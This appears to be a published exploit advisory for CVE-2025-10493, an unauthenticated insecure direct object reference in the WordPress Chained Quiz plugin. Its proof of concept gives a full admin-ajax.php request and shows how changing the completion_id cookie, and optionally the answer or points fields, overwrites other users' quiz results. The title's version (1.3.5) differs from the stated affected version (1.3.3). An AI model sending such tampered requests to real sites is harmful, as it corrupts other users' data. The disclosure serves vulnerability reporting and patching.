# Exploit Title: Chained Quiz  1.3.5 - Unauthenticated Insecure Direct Object Reference via Cookie
# Date: 19-12-2025
# Exploit Author: Karuppiah Sabari Kumar(0xsabre)
# Vendor Homepage: https://wordpress.org/plugins/chained-quiz/
# Software Link: https://downloads.wordpress.org/plugin/chained-quiz.1.3.3.zip
# Version: <= 1.3.3
# Tested on: WordPress / Linux
# CVE: CVE-2025-10493

------------------------------------------------------------

## Vulnerability Type
Insecure Direct Object Reference (IDOR) / Improper Authorization

------------------------------------------------------------

## Description
The Chained Quiz plugin stores each quiz attempt using a predictable,
auto-incrementing database ID (completion_id) and exposes this value
directly in a client-side cookie named:

    chained_completion_id<quiz_id>

When submitting or re-submitting quiz answers via admin-ajax.php, the
server updates the quiz attempt record based solely on this cookie value,
without verifying that the attempt belongs to the currently authenticated
user.

No authentication is required to exploit this vulnerability when the
plugin is used with default settings.

The server retrieves the quiz attempt directly using the completion_id
from the cookie and performs an UPDATE query without verifying ownership.

As a result, an attacker can hijack or tamper with other users’ quiz
attempts by guessing or enumerating valid completion_id values and
replaying answer submissions.

------------------------------------------------------------

## Affected Component
Quiz submission and results handling functionality via admin-ajax.php

------------------------------------------------------------

## Proof of Concept (PoC)

### Step 1: Victim user submission
A user completes a quiz. The submission is stored using a completion ID
and associated with the user’s session via a cookie, for example:

    chained_completion_id1=2

------------------------------------------------------------

### Step 2: Attacker interception
The attacker completes the same quiz and intercepts their own submission
request using a proxy or browser developer tools.

Example request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Cookie: chained_completion_id1=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

answer=0&question_id=1&quiz_id=1&post_id=117&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1

------------------------------------------------------------

### Step 3: Tampering
The attacker modifies the cookie value to match another user’s quiz
attempt, for example:

    chained_completion_id1=2

The attacker may also modify parameters such as "answer" or "points" to
manipulate quiz responses or scores.

The modified request is then sent to the server.

------------------------------------------------------------

### Step 4: Result
The server overwrites the victim user’s quiz submission, including answers
and points, without validating ownership of the completion ID.

------------------------------------------------------------

## Impact
An attacker can arbitrarily modify quiz answers, scores, or results
belonging to other users. This results in an integrity violation of quiz
data and allows unauthorized manipulation of finalized quiz attempts.
In environments where quiz results are used for assessments, leaderboards,
or certificates, this can undermine trust in the platform and affect any
downstream integrations that rely on quiz completion data.

------------------------------------------------------------

## CWE
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-285: Improper Authorization

------------------------------------------------------------